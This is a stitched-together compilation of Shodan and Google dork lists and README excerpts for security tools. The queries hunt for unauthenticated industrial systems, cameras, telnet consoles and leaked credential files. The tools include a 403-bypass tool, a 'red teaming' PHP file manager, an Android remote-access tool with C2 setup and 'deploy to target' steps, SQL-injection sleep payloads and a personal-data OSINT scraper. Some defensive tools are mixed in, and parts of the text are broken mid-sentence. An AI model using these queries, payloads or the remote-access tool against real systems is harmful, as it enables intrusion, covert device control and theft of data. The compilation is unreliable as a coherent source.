"product:CouchDB" port:"5984"+Server: "CouchDB/2.1.0"
"port:5432 PostgreSQL"
"port:8087 Riak"
"product:Redis"
"product:Cassandra"
"Server: Prismview Player"
"in-tank inventory" port:10001
No auth required to access CLI terminal. "privileged command" GET
P372 "ANPR enabled"
mikrotik streetlight
"voter system serial" country:US
May allow for ATM Access availability NCR Port:"161"
"Cisco IOS" "ADVIPSERVICESK9_LI-M"
"[2J[H Encartele Confidential"
http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
"Server: gSOAP/2.8" "Content-Length: 583"
Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!
"Cobham SATCOM" OR ("Sailor" "VSAT")
title:"Slocum Fleet Mission Control"
"Server: CarelDataServer" "200 Document follows"
http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"
"[1m[35mWelcome on console"
Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.
"DICOM Server Response" port:104
"Server: EIG Embedded Web Server" "200 Document follows"
"Siemens, SIMATIC" port:161
"Server: Microsoft-WinCE" "Content-Length: 12581"
"HID VertX" port:4070
"log off" "select the appropriate"
Helps to find the charging status of tesla powerpack. http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
title:"xzeres wind"
"html:"PIPS Technology ALPR Processors""
"port:502"
"port:1911,4911 product:Niagara"
"port:18245,18246 product:"general electric""
"port:5006,5007 product:mitsubishi"
"port:2455 operating system"
"port:102"
"port:47808"
"port:5094 hart-ip"
"port:9600 response code"
"port:2404 asdu address"
"port:20000 source address"
"port:44818"
"port:1962 PLC"
"port:789 product:"Red Lion Controls"
"port:20547 PLC"
"authentication disabled" port:5900,5901 "authentication disabled" "RFB 003.008"
99.99% are secured by a secondary Windows login screen.
"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
product:"cobalt strike team server" product:"Cobalt Strike Beacon" ssl.cert.serial:146473198 - default certificate serial number ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 ssl:foren.zik
http.html_hash:-1957161625 product:"Brute Ratel C4"
ssl:"Covenant" http.component:"Blazor"
ssl:"MetasploitSelfSignedCA"
Routers which got compromised hacked-router-help-sos
product:"Redis key-value store"
Find Citrix Gateway. title:"citrix gateway"
Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.
title:"Weave Scope" http.favicon.hash:567176827
"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
Jenkins Unrestricted Dashboard x-jenkins 200
"Docker Containers:" port:2375
"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab
"dnsmasq-pi-hole" "Recursion: enabled"
"port: 53" Recursion: Enabled
"root@" port:23 -login -password -name -Session
NO password required for telnet access. port:23 console gateway
"polycom command shell"
nport -keyin port:23
A tangential result of Google's sloppy fractured update approach. 🙄 More information here.
"Android Debug Bridge" "Device" port:5555
Lantronix password port:30718 -secured
"Citrix Applications:" port:1604
Vulnerable (kind of "by design," but especially when exposed).
"smart install client active"
PBX "gateway console" -password port:23
http.title:"- Polycom" "Server: lighttpd" "Polycom Command Shell" -failed port:23
"Polycom Command Shell" -failed port:23
Example: Polycom Video Conferencing
"Server: Bomgar" "200 OK"
"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995 "Active Management Technology"
HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900
"Press Enter for Setup Mode port:9999"
Helps to find the cleartext wifi passwords in Shodan. html:"def_wirelesspassword"
The wp-config.php if accessed can give out the database credentials. http.html:"* The wp-config.php creation script uses this file"
"x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"
"x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392
"X-AspNet-Version" http.title:"Outlook" -"x-owa-version"
"X-MS-Server-Fqdn"
Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.
"Authentication: disabled" port:445
"Authentication: disabled" NETLOGON SYSVOL -unix port:445
"Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445
"220" "230 Login successful." port:21
"Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In"
Redirecting sencha port:9000
"Server: Logitech Media Server" "200 OK"
Example: Logitech Media Servers
"X-Plex-Protocol" "200 OK" port:32400
"CherryPy/5.1.0" "/home"
"IPC$ all storage devices"
title:camera
webcam has_screenshot:true
"d-Link Internet Camera, 200 OK"
"Hipcam RealServer/V1.0"
"Server: yawcam" "Mime-Type: text/html"
("webcam 7" OR "webcamXP") http.component:"mootools" -401
"Server: IP Webcam Server" "200 OK"
html:"DVR_H264 ActiveX"
With username:admin and password: :P NETSurveillance uc-httpd Server: uc-httpd 1.0.0
"Serial Number:" "Built:" "Server: HP HTTP"
ssl:"Xerox Generic Root"
"SERVER: EPSON_Linux UPnP" "200 OK"
"Server: EPSON-HTTP" "200 OK"
"Server: KS_HTTP" "200 OK"
"Server: CANON HTTP Server"
"Server: AV_Receiver" "HTTP/1.1 406"
Apple TVs, HomePods, etc.
"\x08_airplay" port:5353
"Chromecast:" port:8008
"Model: PYNG-HUB"
"Server: calibre" http.status:200 http.title:calibre
title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944
"ETH - Total speed"
Substitute .pem with any extension or a filename like phpinfo.php.
http.title:"Index of /" http.html:".pem"
Exposed wp-config.php files containing database credentials.
http.html:"* The wp-config.php creation script uses this file"
"Minecraft Server" "protocol 340" port:25565
net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24
A list of Google Dorks for Bug Bounty, Web Application Security, and Pentesting
site:example.com -www -shop -share -ir -mfa
site:example.com ext:php inurl:?
site:openbugbounty.org inurl:reports intext:"example.com"
site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess
inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com
inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com
inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com
inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= | inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com
inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com
inurl:config | inurl:env | inurl:setting | inurl:backup | inurl:admin | inurl:php site:example[.]com
inurl:email= | inurl:phone= | inurl:password= | inurl:secret= inurl:& site:example[.]com
inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:"example[.]com"
site:pastebin.com "example.com"
site:jsfiddle.net "example.com"
site:codebeautify.org "example.com"
site:codepen.io "example.com"
site:s3.amazonaws.com "example.com"
site:blob.core.windows.net "example.com"
site:googleapis.com "example.com"
site:drive.google.com "example.com"
site:dev.azure.com "example[.]com"
site:onedrive.live.com "example[.]com"
site:digitaloceanspaces.com "example[.]com"
site:sharepoint.com "example[.]com"
site:s3-external-1.amazonaws.com "example[.]com"
site:s3.dualstack.us-east-1.amazonaws.com "example[.]com"
site:dropbox.com/s "example[.]com"
site:box.com/s "example[.]com"
site:docs.google.com inurl:"/d/" "example[.]com"
site:jfrog.io "example[.]com"
site:firebaseio.com "example[.]com"
site:example.com "choose file"
"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone"
site:*/security.txt "bounty"
site:*/server-status apache
inurl:/wp-admin/admin-ajax.php
intext:"Powered by" & intext:Drupal & inurl:user
site:*/joomla/login
Medium articles for more dorks:
https://thegrayarea.tech/5-google-dorks-every-hacker-needs-to-know-fed21022a906
https://infosecwriteups.com/uncover-hidden-gems-in-the-cloud-with-google-dorks-8621e56a329d
https://infosecwriteups.com/10-google-dorks-for-sensitive-data-9454b09edc12
Top Parameters:
https://github.com/lutfumertceylan/top25-parameter
Proviesec dorks:
https://github.com/Proviesec/google-dorks
nomore403 is an innovative tool designed to help cybersecurity professionals and enthusiasts bypass HTTP 40X errors encountered during web security assessments. Unlike other solutions, nomore403 automates various techniques to seamlessly navigate past these access restrictions, offering a broad range of strategies from header manipulation to method tampering.
Before you install and run nomore403, make sure you have the following: - Go 1.15 or higher installed on your machine.
Grab the latest release for your OS from our Releases page.
If you prefer to compile the tool yourself:
git clone https://github.com/devploit/nomore403
cd nomore403
go get
go build
To edit or add new bypasses, modify the payloads directly in the payloads folder. nomore403 will automatically incorporate these changes.
________ ________ ________ ________ ________ ________ ________ ________ ________
╱ ╱ ╲╱ ╲╱ ╱ ╲╱ ╲╱ ╲╱ ╲╱ ╱ ╲╱ ╲╱__ ╲
╱ ╱ ╱ ╱ ╱ ╱ ╱ ╱ ╱ __╱ ╱ ╱ ╱__ ╱
╱ ╱ ╱ ╱ ╱ _╱ __/____ ╱ ╱ ╱
╲__╱_____╱╲________╱╲__╱__╱__╱╲________╱╲____╱___╱╲________╱ ╱____╱╲________╱╲________╱
Target: https://domain.com/admin
Headers: false
Proxy: false
User Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; 1ButtonTaskbar)
Method: GET
Payloads folder: payloads
Custom bypass IP: false
Follow Redirects: false
Rate Limit detection: false
Verbose: false
━━━━━━━━━━━━━ DEFAULT REQUEST ━━━━━━━━━━━━━
403 429 bytes https://domain.com/admin
━━━━━━━━━━━━━ VERB TAMPERING ━━━━━━━━━━━━━━
━━━━━━━━━━━━━ HEADERS ━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━ CUSTOM PATHS ━━━━━━━━━━━━━━━━
200 2047 bytes https://domain.com/;///..admin
━━━━━━━━━━━━━ HTTP VERSIONS ━━━━━━━━━━━━━━━
403 429 bytes HTTP/1.0
403 429 bytes HTTP/1.1
403 429 bytes HTTP/2
━━━━━━━━━━━━━ CASE SWITCHING ━━━━━━━━━━━━━━
200 2047 bytes https://domain.com/%61dmin
./nomore403 -u https://domain.com/admin
./nomore403 -u https://domain.com/admin -x http://127.0.0.1:8080 -v
./nomore403 --request-file request.txt
./nomore403 -u https://domain.com/admin -H "Environment: Staging" -b 8.8.8.8
./nomore403 -u https://domain.com/admin -m 10 -d 200
./nomore403 -h
Command line application that automates different ways to bypass 40X codes.
Usage:
nomore403 [flags]
Flags:
-i, --bypass-ip string Use a specified IP address or hostname for bypassing access controls. Injects this IP in headers like 'X-Forwarded-For'.
-d, --delay int Specify a delay between requests in milliseconds. Helps manage request rate (default: 0ms).
-f, --folder string Specify the folder location for payloads if not in the same directory as the executable.
-H, --header strings Add one or more custom headers to requests. Repeatable flag for multiple headers.
-h, --help help for nomore403
--http Use HTTP instead of HTTPS for requests defined in the request file.
-t, --http-method string Specify the HTTP method for the request (e.g., GET, POST). Default is 'GET'.
-m, --max-goroutines int Limit the maximum number of concurrent goroutines to manage load (default: 50). (default 50)
--no-banner Disable the display of the startup banner (default: banner shown).
-x, --proxy string Specify a proxy server for requests, e.g., 'http://server:port'.
--random-agent Enable the use of a randomly selected User-Agent.
-l, --rate-limit Halt requests upon encountering a 429 (rate limit) HTTP status code.
-r, --redirect Automatically follow redirects in responses.
--request-file string Load request configuration and flags from a specified file.
-u, --uri string Specify the target URL for the request.
-a, --user-agent string pecify a custom User-Agent string for requests (default: 'nomore403').
-v, --verbose Enable verbose output for detailed request/response logging.
We welcome contributions of all forms. Here's how you can help:
While nomore403 is designed for educational and ethical testing purposes, it's important to use it responsibly and with permission on target systems. Please adhere to local laws and guidelines.
nomore403 is released under the MIT License. See the LICENSE file for details.
Introducing Tiny File Manager [WH1Z-Edition], the compact and efficient solution for managing your files and folders with enhanced privacy and security features. Gone are the days of relying on external resources – I've stripped down the code to its core, making it truly lightweight and perfect for deployment in environments without internet access or outbound connections.
Designed for simplicity and speed, Tiny File Manager [WH1Z-Edition] retains all the essential functionalities you need for storing, uploading, editing, and managing your files directly from your web browser. With a single-file PHP setup, you can effortlessly drop it into any folder on your server and start organizing your files immediately.
What sets Tiny File Manager [WH1Z-Edition] apart is its focus on privacy and security. By removing the reliance on external domains for CSS and JS resources, your data stays localized and protected from potential vulnerabilities or leaks. This makes it an ideal choice for scenarios where data integrity and confidentiality are paramount, including RED TEAMING exercises or restricted server environments.
Download ZIP with latest version from master branch.
Simply transfer the "tinyfilemanager-wh1z.php" file to your web hosting space – it's as easy as that! Feel free to rename the file to whatever suits your needs best.
The default credentials are as follows: admin/WH1Z@1337 and user/WH1Z123.
:warning: Caution: Before use, it is imperative to establish your own username and password within the $auth_users variable. Passwords are encrypted using password_hash().
ℹ️ You can generate a new password hash accordingly: Login as Admin -> Click Admin -> Help -> Generate new password hash
:warning: Caution: Use the built-in password generator for your privacy and security. 😉
To enable/disable authentication set $use_auth to true or false.
zip, tar)150+ languages and a selection of 35+ themesPDF/DOC/XLS/PPT/etc. Files up to 25 MB can be previewed using the Google Drive viewerdatatable js for efficient file filtering
Remote adminitration tool for android
console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web\ socket/ composer install The default credentials are username: android and password: the rastafarian in you
c2-server/.env and web socket/.env
database.sql
console php Server/web\ socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/apache2.conf xml <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
functionality/Utils.java ```java public static final String C2_SERVER = "http://localhost";public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.
git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
cd web-wordlist-generator && pip3 install -r requirements.txt
python3 generator.py -d target-web.com
You can run this application on a container after build a Dockerfile.
docker build -t webwordlistgenerator .
docker run webwordlistgenerator -d target-web.com -o
You can run this application on a container after pulling from DockerHub.
docker pull osmankandemir/webwordlistgenerator:v1.0
docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o
-d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
-p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
-a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
-o PRINT, --print PRINT Use Print outputs on terminal screen.
SqliSniper is a robust Python tool designed to detect time-based blind SQL injections in HTTP request headers. It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency. Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality.
git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
This will display help for the tool. Here are all the options it supports.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
██████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██ ███╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PA YLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
The url can be provided with -u flag for single site scan
./sqlisniper.py -u http://example.com
The -r flag allows SqliSniper to read a file containing multiple URLs for simultaneous scanning.
./sqlisniper.py -r url.txt
The SqliSniper can also worked with the pipeline input with -p flag
cat url.txt | ./sqlisniper.py -p
The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
By default the SqliSniper use the payloads.txt file. However --payload flag can be used for providing custom payloads file.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
While using the custom payloads file, ensure that you substitute the sleep time with %__TIME_OUT__%. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this.
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
If you want to only test with the single payload --single-payload flag can be used. Make sure to replace the sleep time with %__TIME_OUT__%
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection.
./sqlisniper.py -r url.txt --discord <web_hookurl>
Threads can be defined with --threads flag
./sqlisniper.py -r url.txt --threads 10
Note: It is crucial to consider that employing a higher number of threads might lead to potential false positives or overlooking valid issues. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection.
SqliSniper is made in python with lots of <3 by @Muhammad Danial.
This repo contains the code for our USENIX Security '23 paper "ARGUS: A Framework for Staged Static Taint Analysis of GitHub Workflows and Actions". Argus is a comprehensive security analysis tool specifically designed for GitHub Actions. Built with an aim to enhance the security of CI/CD workflows, Argus utilizes taint-tracking techniques and an impact classifier to detect potential vulnerabilities in GitHub Action workflows.
Visit our website - secureci.org for more information.
Taint-Tracking: Argus uses sophisticated algorithms to track the flow of potentially untrusted data from specific sources to security-critical sinks within GitHub Actions workflows. This enables the identification of vulnerabilities that could lead to code injection attacks.
Impact Classifier: Argus classifies identified vulnerabilities into High, Medium, and Low severity classes, providing a clearer understanding of the potential impact of each identified vulnerability. This is crucial in prioritizing mitigation efforts.
This Python script provides a command line interface for interacting with GitHub repositories and GitHub actions.
python argus.py --mode [mode] --url [url] [--output-folder path_to_output] [--config path_to_config] [--verbose] [--branch branch_name] [--commit commit_hash] [--tag tag_name] [--action-path path_to_action] [--workflow-path path_to_workflow]--mode: The mode of operation. Choose either 'repo' or 'action'. This parameter is required.--url: The GitHub URL. Use USERNAME:TOKEN@URL for private repos. This parameter is required.--output-folder: The output folder. The default value is '/tmp'. This parameter is optional.--config: The config file. This parameter is optional.--verbose: Verbose mode. If this option is provided, the logging level is set to DEBUG. Otherwise, it is set to INFO. This parameter is optional.--branch: The branch name. You must provide exactly one of: --branch, --commit, --tag. This parameter is optional.--commit: The commit hash. You must provide exactly one of: --branch, --commit, --tag. This parameter is optional.--tag: The tag. You must provide exactly one of: --branch, --commit, --tag. This parameter is optional.--action-path: The (relative) path to the action. You cannot provide --action-path in repo mode. This parameter is optional.--workflow-path: The (relative) path to the workflow. You cannot provide --workflow-path in action mode. This parameter is optional.To use this script to interact with a GitHub repo, you might run a command like the following:
python argus.py --mode repo --url https://github.com/username/repo.git --branch masterThis would run the script in repo mode on the master branch of the specified repository.
Argus can be run inside a docker container. To do so, follow the steps:
results folderYou can view SARIF results either through an online viewer or with a Visual Studio Code (VSCode) extension.
Online Viewer: The SARIF Web Viewer is an online tool that allows you to visualize SARIF files. You can upload your SARIF file (argus_report.sarif) directly to the website to view the results.
VSCode Extension: If you prefer to use VSCode, you can install the SARIF Viewer extension. After installing the extension, you can open your SARIF file (argus_report.sarif) in VSCode. The results will appear in the SARIF Explorer pane, which provides a detailed and navigable view of the results.
Remember to handle the SARIF file with care, especially if it contains sensitive information from your codebase.
If there is an issue with needing the Github authorization for running, you can provide username:TOKEN in the GITHUB_CREDS environment variable. This will be used for all the requests made to Github. Note, we do not store this information anywhere, neither create any thing in the Github account - we only use this for cloning the repositories.
Argus is an open-source project, and we welcome contributions from the community. Whether it's reporting a bug, suggesting a feature, or writing code, your contributions are always appreciated!
If you use Argus in your research, please cite our paper:
@inproceedings{muralee2023Argus,
title={ARGUS: A Framework for Staged Static Taint Analysis of GitHub Workflows and Actions},
author={S. Muralee, I. Koishybayev, A. Nahapetyan, G. Tystahl, B. Reaves, A. Bianchi, W. Enck,
A. Kapravelos, A. Machiry},
booktitle={32st USENIX Security Symposium (USENIX Security 23)},
year={2023},
}Find authentication (authn) and authorization (authz) security bugs in web application routes:
Web application HTTP route authn and authz bugs are some of the most common security issues found today. These industry standard resources highlight the severity of the issue:
Supported web frameworks (route-detect IDs in parentheses):
django, django-rest-framework), Flask (flask), Sanic (sanic)laravel), Symfony (symfony), CakePHP (cakephp)rails), Grape (grape)jax-rs), Spring (spring)gorilla), Gin (gin), Chi (chi)express), React (react), Angular (angular)*Rails support is limited. Please see this issue for more information.
Use pip to install route-detect:
$ python -m pip install --upgrade route-detect
You can check that route-detect is installed correctly with the following command:
$ echo 'print(1 == 1)' | semgrep --config $(routes which test-route-detect) -
Scanning 1 file.
Findings:
/tmp/stdin
routes.rules.test-route-detect
Found '1 == 1', your route-detect installation is working correctly
1┆ print(1 == 1)
Ran 1 rule on 1 file: 1 finding.
route-detect provides the routes CLI command and uses semgrep to search for routes.
Use the which subcommand to point semgrep at the correct web application rules:
$ semgrep --config $(routes which django) path/to/django/code
Use the viz subcommand to visualize route information in your browser:
$ semgrep --json --config $(routes which django) --output routes.json path/to/django/code
$ routes viz --browser routes.json
If you're not sure which framework to look for, you can use the special all ID to check everything:
$ semgrep --json --config $(routes which all) --output routes.json path/to/code
If you have custom authn or authz logic, you can copy route-detect's rules:
$ cp $(routes which django) my-django.yml
Then you can modify the rule as necessary and run it like above:
$ semgrep --json --config my-django.yml --output routes.json path/to/django/code
$ routes viz --browser routes.json
route-detect uses poetry for dependency and configuration management.
Before proceeding, install project dependencies with the following command:
$ poetry install --with dev
Lint all project files with the following command:
$ poetry run pre-commit run --all-files
Run Python tests with the following command:
$ poetry run pytest --cov
Run Semgrep rule tests with the following command:
$ poetry run semgrep --test --config routes/rules/ tests/test_rules/
Introducing Uscrapper 2.0, A powerfull OSINT webscrapper that allows users to extract various personal information from a website. It leverages web scraping techniques and regular expressions to extract email addresses, social media links, author names, geolocations, phone numbers, and usernames from both hyperlinked and non-hyperlinked sources on the webpage, supports multithreading to make this process faster, Uscrapper 2.0 is equipped with advanced Anti-webscrapping bypassing modules and supports webcrawling to scrape from various sublinks within the same domain. The tool also provides an option to generate a report containing the extracted details.
Uscrapper extracts the following details from the provided website:
Uscrapper 2.0:
git clone https://github.com/z0m31en7/Uscrapper.git
cd Uscrapper/install/
chmod +x ./install.sh && ./install.sh #For Unix/Linux systemsTo run Uscrapper, use the following command-line syntax:
python Uscrapper-v2.0.py [-h] [-u URL] [-c (INT)] [-t THREADS] [-O] [-ns]
Arguments:
Uscrapper relies on web scraping techniques to extract information from websites. Make sure to use it responsibly and in compliance with the website's terms of service and applicable laws.
The accuracy and completeness of the extracted details depend on the structure and content of the website being analyzed.
To bypass some Anti-Webscrapping methods we have used selenium which can make the overall process slower.
Zero-dollar attack surface management tool
featured at Black Hat Arsenal 2023 and Recon Village @ DEF CON 2023.
Easy EASM is just that... the easiest to set-up tool to give your organization visibility into its external facing assets.
The industry is dominated by $30k vendors selling "Attack Surface Management," but OG bug bounty hunters and red teamers know the truth. External ASM was born out of the bug bounty scene. Most of these $30k vendors use this open-source tooling on the backend.
With ten lines of setup or less, using open-source tools, and one button deployment, Easy EASM will give your organization a complete view of your online assets. Easy EASM scans you daily and alerts you via Slack or Discord on newly found assets! Easy EASM also spits out an Excel skeleton for a Risk Register or Asset Database! This isn't rocket science, but it's USEFUL. Don't get scammed. Grab Easy EASM and feel confident you know what's facing attackers on the internet.
go install github.com/g0ldencybersec/EasyEASM/easyeasm@latestThe tool expects a configuration file named config.yml to be in the directory you are running from.
Here is example of this yaml file:
# EasyEASM configurations
runConfig:
domains: # List root domains here.
- example.com
- mydomain.com
slack: https://hooks.slack.com/services/DUMMYDATA/DUMMYDATA/RANDOM # Slack webhook url for Slack notifications.
discord: https://discord.com/api/webhooks/DUMMYURL/Dasdfsdf # Discord webhook for Discord notifications.
runType: fast # Set to either fast (passive enum) or complete (active enumeration).
activeWordList: subdomainWordlist.txt
activeThreads: 100To run the tool, fill out the config file: config.yml. Then, run the easyeasm module:
./easyeasmAfter the run is complete, you should see the output CSV (EasyEASM.csv) in the run directory. This CSV can be added to your asset database and risk register!
The creator(s) of this tool provides no warranty or assurance regarding its performance, dependability, or suitability for any specific purpose.
The tool is furnished on an "as is" basis without any form of warranty, whether express or implied, encompassing, but not limited to, implied warranties of merchantability, fitness for a particular purpose, or non-infringement.
The user assumes full responsibility for employing this tool and does so at their own peril. The creator(s) holds no accountability for any loss, damage, or expenses sustained by the user or any third party due to the utilization of this tool, whether in a direct or indirect manner.
Moreover, the creator(s) explicitly renounces any liability or responsibility for the accuracy, substance, or availability of information acquired through the use of this tool, as well as for any harm inflicted by viruses, malware, or other malicious components that may infiltrate the user's system as a result of employing this tool.
By utilizing this tool, the user acknowledges that they have perused and understood this warranty declaration and agree to undertake all risks linked to its utilization.
This project is licensed under the MIT License - see the LICENSE.md for details.
For assistance, use the Issues tab. If we do not respond within 7 days, please reach out to us here.
WebCopilot is an automation tool designed to enumerate subdomains of the target and detect bugs using different open-source tools.
The script first enumerate all the subdomains of the given target domain using assetfinder, sublister, subfinder, amass, findomain, hackertarget, riddler and crt then do active subdomain enumeration using gobuster from SecLists wordlist then filters out all the live subdomains using dnsx then it extract titles of the subdomains using httpx & scans for subdomain takeover using subjack. Then it uses gauplus & waybackurls to crawl all the endpoints of the given subdomains then it use gf patterns to filters out xss, lfi, ssrf, sqli, open redirect & rce parameters from that given subdomains, and then it scans for vulnerabilities on the sub domains using different open-source tools (like kxss, dalfox, openredirex, nuclei, etc). Then it'll print out the result of the scan and save all the output in a specified directory.
g!2m0:~ webcopilot -h
──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░░█████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█████╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║ ░░░░██║░░██║░░░██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝ ░╚════╝░╚═╝░░░░░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0
Usage:
webcopilot -d <target>
webcopilot -d <target> -s
webcopilot [-d target] [-o output destination] [-t threads] [-b blind server URL] [-x exclude domains]
Flags:
-d Add your target [Requried]
-o To save outputs in folder [Default: domain.com]
-t Number of threads [Default: 100]
-b Add your server for BXSS [Default: False]
-x Exclude out of scope domains [Default: False]
-s Run only Subdomain Enumeration [Default: False]
-h Show this help message
Example: webcopilot -d domain.com -o domain -t 333 -x exclude.txt -b testServer.xss
Use https://xsshunter.com/ or https://interact.projectdiscovery.io/ to get your serverWebCopilot requires git to install successfully. Run the following command as a root to install webcopilot
